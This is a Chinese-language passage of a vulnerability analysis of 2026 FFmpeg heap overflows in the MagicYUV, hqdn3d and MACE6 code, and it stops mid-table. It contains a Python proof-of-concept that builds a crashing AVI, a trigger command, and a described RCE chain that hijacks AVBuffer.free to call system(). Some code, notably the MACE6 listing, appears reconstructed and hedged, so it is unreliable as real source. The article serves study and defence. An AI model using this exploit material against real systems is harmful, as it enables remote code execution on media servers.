目录
- 1. 引言:多媒体处理框架的攻击面
- 2. FFmpeg架构与攻击面分析
- 3. CVE-2026-8461(PixelSmash):MagicYUV解码器堆溢出
- 4. CVE-2026-66036:hqdn3d滤镜堆溢出
- 5. CVE-2026-66039:MACE6音频解码器有符号整数溢出
- 6. FFmpeg主要攻击面汇总
- 7. Fuzzing发现FFmpeg漏洞的方法
- 8. 防御方案
- 9. 总结
- 免责声明
1. 引言:多媒体处理框架的攻击面
FFmpeg是全球部署最广泛的多媒体处理框架。从桌面视频播放器(mpv、VLC)、自托管媒体服务器(Jellyfin、Plex、Emby)、云转码管道(AWS MediaConvert、Cloudflare Stream)到Linux桌面环境的缩略图生成器(GNOME、KDE、XFCE),FFmpeg的libavcodec库被数百个下游项目链接或捆绑。
2026年,FFmpeg连续披露了多批高危漏洞。6月,JFrog安全研究团队披露了CVE-2026-8461(PixelSmash),一个MagicYUV解码器中的堆越界写漏洞,他们将其从简单崩溃一路升级到针对Jellyfin媒体服务器的可靠远程代码执行。7月24日,VulnCheck又披露了6个高危漏洞(CVE-2026-66036至CVE-2026-66041),涵盖堆缓冲区溢出、整数溢出、资源耗尽和信息泄露。这些漏洞的共同特征是:攻击者只需要让目标处理一个精心构造的媒体文件,就能触发内存破坏。
本文将深度分析三个代表性漏洞:CVE-2026-8461(MagicYUV解码器堆溢出,CVSS 8.8)、CVE-2026-66036(hqdn3d滤镜堆溢出,CVSS 7.7)和CVE-2026-66039(MACE6音频解码器有符号整数溢出,CVSS 8.7),并系统性地梳理FFmpeg的攻击面和Fuzzing方法。
2. FFmpeg架构与攻击面分析
2.1 FFmpeg核心架构
┌─────────────────────────────────────────────────────────────────────────┐
│ FFmpeg 核心架构与攻击面 │
├─────────────────────────────────────────────────────────────────────────┤
│ │
│ ┌─────────────────────────────────────────────────────────────────┐ │
│ │ 输入层 (Input Layer) │ │
│ │ ┌──────────┐ ┌──────────┐ ┌──────────┐ ┌──────────┐ │ │
│ │ │ protocol │ │ demuxer │ │ format │ │ stream │ │ │
│ │ │ (IO) │ │ (解复用) │ │ (格式) │ │ (流管理) │ │ │
│ │ └────┬─────┘ └────┬─────┘ └────┬─────┘ └────┬─────┘ │ │
│ │ │ │ │ │ │ │
│ │ 攻击面: file://, http://, rtp://, tcp://, pipe:// │ │
│ │ 攻击面: AVI, MKV, MOV, FLV, TS, MP4, WAV, OGG... │ │
│ └───────┼──────────────┼──────────────┼──────────────┼───────────┘ │
│ │ │ │ │ │
│ ┌───────┼──────────────┼──────────────┼──────────────┼───────────┐ │
│ │ v v v v │ │
│ │ ┌──────────────────┐ │ │
│ │ │ AVPacket 队列 │ │ │
│ │ │ (压缩数据包) │ │ │
│ │ └────────┬─────────┘ │ │
│ └───────────────────────┼─────────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────────┼─────────────────────────────────────────┐ │
│ │ v │ │
│ │ ┌──────────────────┐ │ │
│ │ │ codec (编解码) │ │ │
│ │ │ ┌────────────┐ │ │ │
│ │ │ │ decoder │ │ <-- CVE-2026-8461 │ │
│ │ │ │ (解码器) │ │ MagicYUV堆溢出 │ │
│ │ │ └────────────┘ │ │ │
│ │ │ ┌────────────┐ │ │ │
│ │ │ │ encoder │ │ <-- CVE-2026-66040 │ │
│ │ │ │ (编码器) │ │ PNG/APNG eXIf堆溢出 │ │
│ │ │ └────────────┘ │ │ │
│ │ └────────┬─────────┘ │ │
│ └───────────────────────┼─────────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────────┼─────────────────────────────────────────┐ │
│ │ v │ │
│ │ ┌──────────────────┐ │ │
│ │ │ AVFrame (帧) │ │ │
│ │ └────────┬─────────┘ │ │
│ └───────────────────────┼─────────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────────┼─────────────────────────────────────────┐ │
│ │ v │ │
│ │ ┌──────────────────┐ │ │
│ │ │ filter (滤镜) │ <-- CVE-2026-66036 │ │
│ │ │ ┌────────────┐ │ hqdn3d堆溢出 │ │
│ │ │ │ vf_hqdn3d │ │ <-- CVE-2026-66041 │ │
│ │ │ │ vf_quirc │ │ quirc OOB写 │ │
│ │ │ └────────────┘ │ │ │
│ │ └────────┬─────────┘ │ │
│ └───────────────────────┼─────────────────────────────────────────┘ │
│ │ │
│ ┌───────────────────────┼─────────────────────────────────────────┐ │
│ │ v │ │
│ │ ┌──────────────────┐ │ │
│ │ │ muxer (复用器) │ │ │
│ │ │ + output IO │ │ │
│ │ └──────────────────┘ │ │
│ └─────────────────────────────────────────────────────────────────┘ │
│ │
└─────────────────────────────────────────────────────────────────────────┘
2.2 攻击面层级分析
FFmpeg的攻击面从外到内分为四个主要层级,每个层级都处理攻击者可控的输入数据:
| 攻击面层级 | 组件 | 输入来源 | 典型漏洞类型 | 代表CVE |
|---|---|---|---|---|
| Demuxer层 | AVI/MKV/MOV/FLV解复用器 | 文件容器格式 | 整数溢出、OOB读 | CVE-2026-30999 (mov.c CENC) |
| Codec层 | 视频/音频解码器和编码器 | 压缩码流数据 | 堆溢出、UAF、整数溢出 | CVE-2026-8461 (MagicYUV) |
| Filter层 | 视频滤镜 (denoise, scale等) | 解码后的帧数据 | 堆溢出、OOB写 | CVE-2026-66036 (hqdn3d) |
| Protocol层 | HTTP/RTP/TCP/文件IO | 网络协议数据 | SSRF、资源耗尽 | CVE-2026-66037 (IAMF) |
2.3 为什么FFmpeg是高价值攻击目标
┌─────────────────────────────────────────────────────────────────────┐
│ FFmpeg 作为攻击目标的价值分析 │
├─────────────────────────────────────────────────────────────────────┤
│ │
│ 1. 普遍性: FFmpeg被数百个下游项目链接 │
│ ├── 桌面播放器: mpv, VLC, Kodi │
│ ├── 媒体服务器: Jellyfin, Plex, Emby, Nextcloud │
│ ├── 云服务: AWS MediaConvert, Cloudflare Stream │
│ ├── 桌面环境: GNOME, KDE, XFCE (缩略图生成) │
│ ├── 聊天平台: Slack, Discord, TG (预览生成) │
│ └── IoT/NAS: Synology, QNAP, 智能电视 │
│ │
│ 2. 自动触发: 许多应用自动处理用户上传的媒体文件 │
│ ├── 媒体服务器: 自动扫描库 → 自动解码 → 自动生成缩略图 │
│ ├── 文件管理器: 浏览到含视频的文件夹 → 自动生成缩略图 │
│ └── 云转码: 用户上传 → 自动转码 → 自动分发 │
│ │
│ 3. 攻击门槛低: 只需交付一个媒体文件 │
│ ├── 无需认证: 上传文件即可触发 │
│ ├── 无需交互: 服务器端自动处理 │
│ └── 跨平台: FFmpeg在所有主流OS上运行 │
│ │
│ 4. 供应链放大: 一个漏洞影响所有下游项目 │
│ ├── 下游项目继承了FFmpeg的漏洞 │
│ ├── 大多数项目无独立检测机制 │
│ └── 修复依赖FFmpeg上游发布 + 下游重新编译 │
│ │
└─────────────────────────────────────────────────────────────────────┘
3. CVE-2026-8461(PixelSmash):MagicYUV解码器堆溢出
3.1 漏洞概况
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2026-8461 |
| 漏洞名称 | PixelSmash |
| CVSS 3.1评分 | 8.8 (High) |
| CWE分类 | CWE-787 (Out-of-bounds Write) |
| 影响版本 | FFmpeg < 9.0 (所有默认构建) |
| 漏洞位置 | libavcodec/magicyuv.c |
| 披露者 | JFrog安全研究团队 |
| 披露日期 | 2026年6月22日 |
| 实际RCE验证 | Jellyfin (自动库扫描)、Nextcloud (视频预览) |
| 攻击向量 | 交付50KB恶意AVI/MKV/MOV文件 |
PixelSmash是2026年FFmpeg最严重的漏洞之一。JFrog团队不仅发现了这个堆越界写漏洞,还将其从简单崩溃升级到了针对Jellyfin媒体服务器的可靠远程代码执行——仅通过上传一个50KB的AVI文件。
3.2 MagicYUV编解码器背景
MagicYUV是一种为高性能视频编辑工作流设计的无损视频编解码器。虽然不如H.264或VP9知名,但它的解码器被编译进每一个默认的FFmpeg构建中,并注册用于AVI、MKV和MOV容器。任何能打开视频文件的应用都能触发MagicYUV解码器。
检测系统是否包含漏洞解码器:
# 检查FFmpeg是否包含MagicYUV解码器
ffmpeg -decoders 2>/dev/null | grep magicyuv
# 如果输出包含 VFS..D magicyuv,则系统存在漏洞
3.3 根因分析:色度平面高度计算不匹配
漏洞的核心是帧分配器和解码器在计算色度平面高度时存在不一致——一个使用对齐后的值,另一个使用天花板舍入的值。
背景知识:YUV色彩空间与子采样
在视频压缩中,图像通常以YUV色彩空间存储,而非RGB:
- Y(亮度平面):图像的亮度/灰度信息
- U & V(色度平面):颜色信息
在YUV420P格式中,色度平面的垂直分辨率为亮度平面的一半(4:2:0子采样),以利用人眼对亮度比对色度更敏感的特性。
漏洞触发过程
// libavcodec/magicyuv.c - 漏洞代码分析
// 步骤1: 帧分配器计算色度平面缓冲区高度
// libavutil/get_buffer.c - update_frame_pool()
// 帧高度先对齐到32,然后减半用于色度
int aligned_height = FFALIGN(coded_height, 32); // 例如: 32
int chroma_height = AV_CEIL_RSHIFT(aligned_height, 1); // 32/2 = 16
// 分配的色度缓冲区: 16行
// 步骤2: 解码器从攻击者控制的码流中读取slice_height
// magicyuv.c:550
s->slice_height = bytestream2_get_le32u(&gb); // 攻击者控制! 例如: 31
// 步骤3: 解码器计算slice数量和每个slice的色度行数
// magicyuv.c:559
s->nb_slices = (coded_height + s->slice_height - 1) / s->slice_height;
// = (32 + 31 - 1) / 31 = 2 (两个slice)
// magicyuv.c:275 - 每个slice的色度行数 (天花板舍入)
int sheight = AV_CEIL_RSHIFT(s->slice_height, 1);
// = AV_CEIL_RSHIFT(31, 1) = 16 (ceil(31/2) = 16)
// 步骤4: 第二个(最后一个)slice的目标指针计算
// magicyuv.c:287
// j = 1 (第二个slice的索引)
// height = sheight = 16 (色度行数)
dst = p->data[1] + j * height * stride;
// = p->data[1] + 1 * 16 * stride
// = 色度缓冲区的第16行!
// 但缓冲区只有16行(索引0-15),第16行是越界的!
// 步骤5: 堆越界写
// magicyuv.c:291-294 (raw模式)
for (k = 0; k < height; k++) {
bytestream_get_buffer(&slice, dst, width); // OOB WRITE!
dst += stride;
}
// width = 640 (coded_width=1280, 色度减半)
// 向堆中写入640字节攻击者控制的数据
关键不一致:
┌──────────────────────────────────────────────────────────────────┐
│ 分配器 vs 解码器的色度高度计算对比 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 分配器 (get_buffer.c): │
│ aligned_height = FFALIGN(32, 32) = 32 │
│ chroma_rows = AV_CEIL_RSHIFT(32, 1) = 16 │
│ 分配: 16行 x stride 字节 │
│ 有效行索引: 0, 1, 2, ..., 15 │
│ │
│ 解码器 (magicyuv.c): │
│ slice_height = 31 (来自码流,攻击者控制) │
│ nb_slices = (32 + 31 - 1) / 31 = 2 │
│ sheight = AV_CEIL_RSHIFT(31, 1) = ceil(31/2) = 16 │
│ │
│ Slice 0: 写入行 0..15 (16行) ← 在缓冲区内 │
│ Slice 1: 写入行 16..31 (16行) ← 行16超出缓冲区! │
│ │
│ 问题本质: │
│ 分配器用对齐后的高度(32)计算色度行数: 16行 │
│ 解码器用原始slice高度(31)计算色度行数: ceil(31/2)=16行/slice │
│ 两个slice共写 16+16=32行,但缓冲区只有16行 │
│ 第二个slice的写入完全在缓冲区之外 → 堆溢出 │
│ │
│ 现有保护: │
│ magicyuv.c:566 只检查了隔行扫描(interlaced)模式的对齐: │
│ if (s->interlaced) { │
│ if ((s->slice_height >> s->vshift[1]) < 2) │
│ return AVERROR_INVALIDDATA; │
│ } │
│ 非隔行扫描路径完全没有对齐检查! ← 漏洞根因 │
│ │
└──────────────────────────────────────────────────────────────────┘
ASAN报告确认溢出位置:
==PID==ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 512 at 0x52500000214f thread T0
#2 bytestream_get_buffer libavcodec/bytestream.h:367
#3 magy_decode_slice libavcodec/magicyuv.c:292
#5 magy_decode_frame libavcodec/magicyuv.c:630
0x52500000214f is located 0 bytes after 8271-byte region
3.4 从堆溢出到RCE:劫持AVBuffer
堆溢出本身只是DoS,JFrog团队的关键贡献是将其升级为RCE。利用的核心是FFmpeg堆布局中的一个关键结构——AVBuffer。
┌──────────────────────────────────────────────────────────────────┐
│ CVE-2026-8461: 从堆溢出到RCE的利用链 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 堆内存布局 (OOB写入区域): │
│ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ 色度平面缓冲区 (16行) │ │
│ │ [row 0][row 1]...[row 15] │ │
│ └──────────────────────────────────────────────────────────┘ │
│ ┌──────────────────────────────────────────────────────────┐ │
│ │ OOB写入区域 (640字节攻击者控制的数据) │ │
│ │ │ │
│ │ +0: [88字节零填充 - 命令字符串空间] │ │
│ │ +88: [glibc chunk headers - 必须原样保留] │ │
│ │ +256: AVBuffer结构体: │ │
│ │ .data = Cb_data指针 │ │
│ │ .size = 0x284f │ │
│ │ .refcount = 1 ← 攻击者写入1 │ │
│ │ .free = &system ← 攻击者覆写! │ │
│ │ .opaque = &cmd_string ← 攻击者覆写! │ │
│ │ +384: AVBufferRef.buffer → 指向+256处的AVBuffer │ │
│ └──────────────────────────────────────────────────────────┘ │
│ │
│ 触发流程: │
│ │
│ 1. 解码完成,FFmpeg调用av_frame_unref()释放帧 │
│ 2. av_frame_unref → av_buffer_unref (buffer.c:133) │
│ 3. refcount减1 → 0, 触发释放回调: │
│ buf->free(buf->opaque, buf->data); │
│ ↓ 被劫持后变为: │
│ system(cmd_string); ← 执行攻击者的shell命令! │
│ 4. RCE达成 │
│ │
│ 关键挑战: │
│ - OOB区域包含33个glibc chunk metadata qword │
│ - 任何一个被破坏,glibc完整性检查会在av_buffer_unref之前abort │
│ - 利用必须原样保留所有chunk metadata │
│ - 需要ASLR禁用 (setarch x86_64 -R) 或配合信息泄露漏洞 │
│ │
└──────────────────────────────────────────────────────────────────┘
3.5 恶意视频文件构造方法
#!/usr/bin/env python3
"""
CVE-2026-8461 (PixelSmash) 恶意AVI文件构造工具
构造一个触发MagicYUV解码器堆溢出的AVI文件
注意: 此工具仅构造触发崩溃的文件,不包含RCE利用payload。
完整利用需要: ASLR绕过 + 精确堆布局 + glibc metadata保留。
"""
import struct
import io
from typing import BinaryIO
# MagicYUV FourCC
MAGICYUV_FOURCC = b'M8Y0' # MagicYUV YUV420P
MAGICYUV_VERSION = 1
# 漏洞触发参数
CODED_WIDTH = 1280
CODED_HEIGHT = 32
SLICE_HEIGHT = 31 # 奇数! 触发天花板舍入不一致
# 分配器: chroma_rows = ceil(32/2) = 16
# 解码器: sheight = ceil(31/2) = 16, 2个slice = 32行 → 溢出16行
def write_avi_chunk(f: BinaryIO, fourcc: bytes, data: bytes):
"""写入AVI chunk"""
f.write(fourcc)
f.write(struct.pack('<I', len(data)))
f.write(data)
if len(data) % 2:
f.write(b'\x00') # 对齐填充
def construct_magicyuv_bitstream(width: int, height: int,
slice_height: int) -> bytes:
"""
构造MagicYUV码流
关键: slice_height设置为奇数(31),触发色度平面高度计算不一致
"""
bs = io.BytesIO()
# MagicYUV头
bs.write(b'MAGIC') # Magic标识
bs.write(struct.pack('<B', MAGICYUV_VERSION)) # 版本
# 编解码器标志 (raw模式,便于直接控制写入数据)
# 0 = raw, 1 = Huffman, 2 = Left
codec_flag = 0 # raw模式
bs.write(struct.pack('<B', codec_flag))
# 像素格式 (YUV420P = 0)
pixel_format = 0
bs.write(struct.pack('<B', pixel_format))
# 隔行扫描标志 (0 = 非隔行 → 跳过对齐检查!)
interlaced = 0
bs.write(struct.pack('<B', interlaced))
# 帧尺寸
bs.write(struct.pack('<I', width)) # coded_width = 1280
bs.write(struct.pack('<I', height)) # coded_height = 32
# slice高度 - 漏洞触发点!
bs.write(struct.pack('<I', slice_height)) # 31 (奇数!)
# 色度移位因子 (YUV420P: vshift[0]=0, vshift[1]=1)
bs.write(struct.pack('<B', 0)) # vshift[0]
bs.write(struct.pack('<B', 1)) # vshift[1]
# 计算slice数量
nb_slices = (height + slice_height - 1) // slice_height # 2
# 为每个slice写入数据
# Y平面: width * slice_height 字节 (raw模式)
# U平面: width/2 * ceil(slice_height/2) 字节
# V平面: 同U平面
y_plane_size = width * slice_height
chroma_width = width // 2
chroma_slice_height = (slice_height + 1) // 2 # ceil(31/2) = 16
chroma_plane_size = chroma_width * chroma_slice_height
for i in range(nb_slices):
# 计算这个slice实际需要处理的行数
remaining = height - i * slice_height
actual_rows = min(slice_height, remaining)
actual_chroma_rows = (actual_rows + 1) // 2
# Y平面数据
y_data = b'\x80' * (width * actual_rows)
bs.write(struct.pack('<I', len(y_data)))
bs.write(y_data)
# U平面数据 (第二个slice的写入将超出缓冲区)
u_data = b'\x80' * (chroma_width * actual_chroma_rows)
bs.write(struct.pack('<I', len(u_data)))
bs.write(u_data)
# V平面数据
v_data = b'\x80' * (chroma_width * actual_chroma_rows)
bs.write(struct.pack('<I', len(v_data)))
bs.write(v_data)
return bs.getvalue()
def construct_malicious_avi(output_path: str):
"""构造恶意AVI文件"""
# 构造MagicYUV码流
bitstream = construct_magicyuv_bitstream(
width=CODED_WIDTH,
height=CODED_HEIGHT,
slice_height=SLICE_HEIGHT
)
# AVI文件结构
avi = io.BytesIO()
# RIFF头
avi.write(b'RIFF')
avi.write(struct.pack('<I', 0)) # 文件大小(后续填充)
avi.write(b'AVI ')
# LIST 'hdrl' (头部列表)
hdrl = io.BytesIO()
# avih (主AVI头)
avih_data = struct.pack('<IIIIIIIIIIIIII',
33333, # dwMicroSecPerFrame (30fps)
0, # dwMaxBytesPerSec
0, # dwPaddingGranularity
0x10, # dwFlags (AVIF_HASINDEX)
1, # dwTotalFrames
0, # dwInitialFrames
1, # dwStreams
65536, # dwSuggestedBufferSize
CODED_WIDTH, # dwWidth
CODED_HEIGHT,# dwHeight
0, 0, 0, 0 # dwReserved[4]
)
write_avi_chunk(hdrl, b'avih', avih_data)
# LIST 'strl' (流列表)
strl = io.BytesIO()
# strh (流头)
strh_data = struct.pack('<4s4sIHHIIIIIIHHHH',
b'vids', # fccType
MAGICYUV_FOURCC, # fccHandler (MagicYUV)
0, # dwFlags
0, # wPriority
0, # wLanguage
0, # dwInitialFrames
1, # dwScale
30, # dwRate (30fps)
0, # dwStart
1, # dwLength
65536, # dwSuggestedBufferSize
0xFFFFFFFF, # dwQuality
0, # dwSampleSize
0, 0, 0 # rcFrame
)
write_avi_chunk(strl, b'strh', strh_data)
# strf (流格式 - BITMAPINFOHEADER)
strf_data = struct.pack('<IiiHHIIiiII',
40, # biSize
CODED_WIDTH, # biWidth
CODED_HEIGHT, # biHeight
1, # biPlanes
24, # biBitCount
# MagicYUV FourCC作为biCompression
struct.unpack('<I', MAGICYUV_FOURCC)[0],
0, # biSizeImage
0, # biXPelsPerMeter
0, # biYPelsPerMeter
0, # biClrUsed
0 # biClrImportant
)
write_avi_chunk(strl, b'strf', strf_data)
strl_data = strl.getvalue()
write_avi_chunk(hdrl, b'LIST', b'strl' + strl_data)
hdrl_data = hdrl.getvalue()
write_avi_chunk(avi, b'LIST', b'hdrl' + hdrl_data)
# LIST 'movi' (数据列表)
movi = io.BytesIO()
write_avi_chunk(movi, b'00dc', bitstream) # 压缩视频帧
movi_data = movi.getvalue()
write_avi_chunk(avi, b'LIST', b'movi' + movi_data)
# 修复RIFF文件大小
avi_data = avi.getvalue()
file_size = len(avi_data) - 8
avi_data = avi_data[:4] + struct.pack('<I', file_size) + avi_data[8:]
with open(output_path, 'wb') as f:
f.write(avi_data)
print(f"[+] 恶意AVI文件已生成: {output_path}")
print(f" 文件大小: {len(avi_data)} 字节")
print(f" 编解码器: MagicYUV (YUV420P)")
print(f" 帧尺寸: {CODED_WIDTH}x{CODED_HEIGHT}")
print(f" slice_height: {SLICE_HEIGHT} (奇数, 触发漏洞)")
print(f" 分配器色度行数: 16")
print(f" 解码器色度行数: 16/slice x 2 slices = 32 (溢出16行!)")
print(f"")
print(f" 触发方法: ffmpeg -i {output_path} -f null -")
print(f" 预期结果: 堆缓冲区溢出 (ASAN报告heap-buffer-overflow)")
if __name__ == "__main__":
construct_malicious_avi("/tmp/magicyuv_poc.avi")
修复补丁分析:
// libavcodec/magicyuv.c - 修复补丁 (7行新增)
// 原有的隔行扫描检查
if (s->slice_height <= 0 || s->slice_height > INT_MAX - avctx->coded_height) {
av_log(avctx, AV_LOG_ERROR, "invalid slice height: %d\n", s->slice_height);
return AVERROR_INVALIDDATA;
}
+// 修复: 为非隔行扫描路径也添加对齐检查
+if ((s->slice_height >> s->vshift[1]) <= s->interlaced) {
+ av_log(avctx, AV_LOG_ERROR, "impossible slice height\n");
+ return AVERROR_INVALIDDATA;
+}
+// 检查最后一个slice的色度行数是否合理
+if ((avctx->coded_height % s->slice_height) &&
+ ((avctx->coded_height % s->slice_height) >> s->vshift[1]) <= s->interlaced) {
+ av_log(avctx, AV_LOG_ERROR, "impossible height\n");
+ return AVERROR_INVALIDDATA;
+}
补丁的核心逻辑是:对于非隔行扫描路径,也验证slice_height经过色度移位后是否会产生零行或不足的色度行数,从而拒绝会导致溢出的奇数slice_height值。
4. CVE-2026-66036:hqdn3d滤镜堆溢出
4.1 漏洞概况
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2026-66036 |
| CVSS 4.0评分 | 7.7 (High) |
| CWE分类 | CWE-787 (Out-of-bounds Write) |
| 影响版本 | FFmpeg <= 8.1.2 |
| 漏洞位置 | libavfilter/vf_hqdn3d.c |
| 披露日期 | 2026年7月24日 (VulnCheck) |
| 触发条件 | 使用-reinit_filter 0选项 |
4.2 根因分析:帧尺寸变化导致缓冲区不足
hqdn3d(High Quality 3D Denoise)是一个高质量3D降噪滤镜。漏洞的核心在于滤镜在初始化时根据第一帧的宽度分配了行历史缓冲区,但当后续帧的分辨率增大时,缓冲区不会重新分配(因为使用了-reinit_filter 0禁用了滤镜重新初始化),导致写入超出缓冲区边界。
// libavfilter/vf_hqdn3d.c - 漏洞代码分析
typedef struct HQDN3DContext {
// 行历史缓冲区 - 在config_input时根据初始帧宽度分配
uint16_t *line; // 降噪用的行缓冲区
uint16_t **frame_prev; // 前一帧数据
int line_size; // 行缓冲区大小
// ...
} HQDN3DContext;
// config_input: 滤镜初始化,根据输入参数分配缓冲区
static int config_input(AVFilterLink *inlink)
{
HQDN3DContext *s = inlink->dst->priv;
// 根据初始帧宽度分配行历史缓冲区
// 漏洞: 只在初始化时分配,后续帧尺寸变化时不重新分配!
s->line_size = inlink->w * sizeof(uint16_t);
for (int i = 0; i < 3; i++) {
s->line[i] = av_calloc(inlink->w, sizeof(uint16_t));
// 分配大小基于初始帧宽度 inlink->w
}
return 0;
}
// denoise_spatial: 空间降噪函数
static void denoise_spatial(HQDN3DContext *s,
uint8_t *src, uint8_t *dst,
uint16_t *line_ant, uint16_t *frame_ant,
int w, int h, // w和h来自当前帧!
int sstride, int dstride,
int depth)
{
// w来自当前帧的宽度
// 但line_ant缓冲区是基于初始帧宽度分配的!
for (int y = 0; y < h; y++) {
for (int x = 0; x < w; x++) {
// 当w > 初始帧宽度时,line_ant[x]越界!
uint16_t pixel = line_ant[x]; // OOB READ
// ... 降噪计算 ...
line_ant[x] = dst_val; // OOB WRITE (如果w更大)!
}
}
}
// 漏洞触发条件:
// 1. 使用 -reinit_filter 0 禁用滤镜重新初始化
// 2. 视频第一帧宽度较小 (如640)
// 3. 后续帧宽度增大 (如1920)
// 4. denoise_spatial 使用新宽度访问旧缓冲区 → 堆溢出
触发命令:
# 构造一个帧尺寸变化的视频触发漏洞
# 第一帧: 640x480 (小尺寸,分配小缓冲区)
# 后续帧: 1920x1080 (大尺寸,超出缓冲区)
# 使用-reinit_filter 0禁用滤镜重新初始化
ffmpeg -reinit_filter 0 \
-i malicious_variable_resolution.mp4 \
-vf hqdn3d \
-f null -
# 结果: denoise_spatial()写入超出line缓冲区 → 堆溢出
┌──────────────────────────────────────────────────────────────────┐
│ CVE-2026-66036: 帧尺寸变化导致堆溢出 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ 初始帧 (Frame 0): 640x480 │
│ ┌──────────────────────────────────────┐ │
│ │ config_input() 被调用: │ │
│ │ line缓冲区 = av_calloc(640, ...) │ │
│ │ line_size = 640 * sizeof(uint16_t) │ │
│ │ 有效索引: 0..639 │ │
│ └──────────────────────────────────────┘ │
│ │
│ 第二帧 (Frame 1): 1920x1080 │
│ ┌──────────────────────────────────────────┐ │
│ │ -reinit_filter 0 → 滤镜不重新初始化 │ │
│ │ line缓冲区仍然只有640个元素 │ │
│ │ │ │
│ │ denoise_spatial(w=1920, h=1080): │ │
│ │ for x in 0..1919: │ │
│ │ line_ant[x] = ... ← x=640时越界! │ │
│ │ x=641..1919 │ │
│ │ 全部堆溢出! │ │
│ └──────────────────────────────────────────┘ │
│ │
│ 堆布局: │
│ ┌──────────┐ ┌──────────────────────────────────┐ │
│ │ line[0] │ │ line[1] (line[0]+640*2字节之后) │ │
│ │ 640个 │->│ 被溢出数据覆盖 │ │
│ │ uint16_t │ │ │ │
│ └──────────┘ └──────────────────────────────────┘ │
│ 0..639 (安全) 640..1919 (溢出! 2560字节越界写) │
│ │
└──────────────────────────────────────────────────────────────────┘
5. CVE-2026-66039:MACE6音频解码器有符号整数溢出
5.1 漏洞概况
| 项目 | 内容 |
|---|---|
| CVE编号 | CVE-2026-66039 |
| CVSS 4.0评分 | 8.7 (High) |
| CWE分类 | CWE-196 (Signed Integer Overflow) + CWE-787 (OOB Write) |
| 影响版本 | FFmpeg <= 8.1.2 |
| 漏洞位置 | libavcodec/mace6.c |
| 披露日期 | 2026年7月24日 (VulnCheck) |
| 触发文件 | 恶意CAF (Core Audio Format) 文件 |
5.2 根因分析:采样计数计算溢出
MACE6(Macintosh Audio Compression/Expansion 6:1)是Apple的音频压缩格式。漏洞在于解码器在计算采样数量时使用了有符号整数运算,攻击者可以通过CAF文件desc chunk中的bytes_per_packet和frames_per_packet字段触发有符号整数溢出,导致分配过小的缓冲区后发生堆越界写。
// libavcodec/mace6.c - 漏洞代码分析
static int mace_decode_frame(AVCodecContext *avctx, AVFrame *frame,
int *got_frame_ptr, AVPacket *avpkt)
{
// 从编解码器参数中获取值 (攻击者通过CAF文件控制)
int bytes_per_packet = avctx->block_align; // 来自CAF desc chunk
int frames_per_packet = avctx->frame_size; // 来自CAF desc chunk
// 漏洞: 有符号整数乘法溢出!
// 当 bytes_per_packet * frames_per_packet > INT_MAX 时溢出
// 例如: bytes_per_packet = 0x10000, frames_per_packet = 0x10000
// 0x10000 * 0x10000 = 0x100000000 → 截断为32位有符号: 0 (或负数!)
int sample_count = bytes_per_packet * frames_per_packet;
// sample_count溢出为很小的正数或负数
// 如果为负数,下面的av_mallocz会处理为很大的无符号值(可能失败)
// 如果为小的正数(如0),则分配极小的缓冲区
if (sample_count <= 0) {
// 某些溢出情况sample_count变为0或负数
// 如果代码没有正确处理这种情况...
sample_count = abs(sample_count); // 可能让负数变成大正数
// 或者直接使用,导致问题
}
// 分配输出缓冲区
// 如果sample_count因溢出变小,缓冲区过小
int channels = avctx->ch_layout.nb_channels;
frame->nb_samples = sample_count / channels;
// 分配基于溢出后的小sample_count
if (frame->nb_samples <= 0) {
return AVERROR_INVALIDDATA;
}
int buf_size = frame->nb_samples * channels * sizeof(int16_t);
int16_t *samples = (int16_t *)frame->data[0];
// 实际解码循环使用原始的bytes_per_packet
// 向过小的缓冲区写入大量数据 → 堆溢出!
for (int i = 0; i < bytes_per_packet; i++) {
// 每个输入字节解码出6个采样
uint8_t input_byte = avpkt->data[i];
for (int j = 0; j < 6; j++) {
// 实际写入的采样数 = bytes_per_packet * 6
// 但缓冲区大小基于溢出后的sample_count!
*samples++ = mace6_decode_sample(input_byte, j);
// 当samples指针超出缓冲区时 → 堆越界写!
}
}
*got_frame_ptr = 1;
return bytes_per_packet;
}
┌──────────────────────────────────────────────────────────────────┐
│ CVE-2026-66039: 有符号整数溢出至堆溢出 │
├──────────────────────────────────────────────────────────────────┤
│ │
│ CAF文件结构: │
│ ┌─────────────────────────────────────────┐ │
│ │ CAF Header │ │
│ │ ┌─────────────────────────────────┐ │ │
│ │ │ desc chunk │ │ │
│ │ │ bytes_per_packet = 0x00010000 │ │ ← 攻击者控制 │
│ │ │ frames_per_packet = 0x00010000│ │ ← 攻击者控制 │
│ │ └─────────────────────────────────┘ │ │
│ │ ┌─────────────────────────────────┐ │ │
│ │ │ data chunk │ │ │
│ │ │ [恶意音频数据] │ │ │
│ │ └─────────────────────────────────┘ │ │
│ └─────────────────────────────────────────┘ │
│ │
│ 整数溢出计算: │
│ bytes_per_packet = 0x10000 (65536) │
│ frames_per_packet = 0x10000 (65536) │
│ │
│ sample_count = bytes_per_packet * frames_per_packet │
│ = 65536 * 65536 │
│ = 4294967296 (0x100000000) │
│ → 截断为32位有符号: 0 (或取决于具体实现) │
│ │
│ 分配: malloc(0 * sizeof(int16_t)) → 极小缓冲区 │
│ 写入: bytes_per_packet * 6 个采样 = 393216个int16_t │
│ → 堆溢出! (写入786432字节到极小缓冲区) │
│ │
│ 根因: 有符号整数乘法无溢出检查 (CWE-196) │
│ 结果: 缓冲区分配过小 → 堆越界写 (CWE-787) │
│ 影响: 内存破坏,可能的代码执行 │
│ │
└──────────────────────────────────────────────────────────────────┘
6. FFmpeg主要攻击面汇总
以下表格系统梳理了FFmpeg的主要攻击面和代表性漏洞:
┌─────────────────────────────────────────────────────────────────────────┐
│ FFmpeg 主要攻击面与代表性漏洞 │
├──────────┬────────────────────────┬──────────────┬──────────┬──────────┤
│ 攻击面 │ 组件 │ 漏洞类型 │ CVE │ CVSS │
├──────────┼────────────────────────┼──────────────┼──────────┼──────────┤
│ │ MagicYUV解码器 │ 堆越界写 │2026-8461 │ 8.8 │
│ │ MACE6音频解码器 │ 有符号整数 │2026-66039│ 8.7 │
│ │ │ 溢出→堆溢出 │ │ │
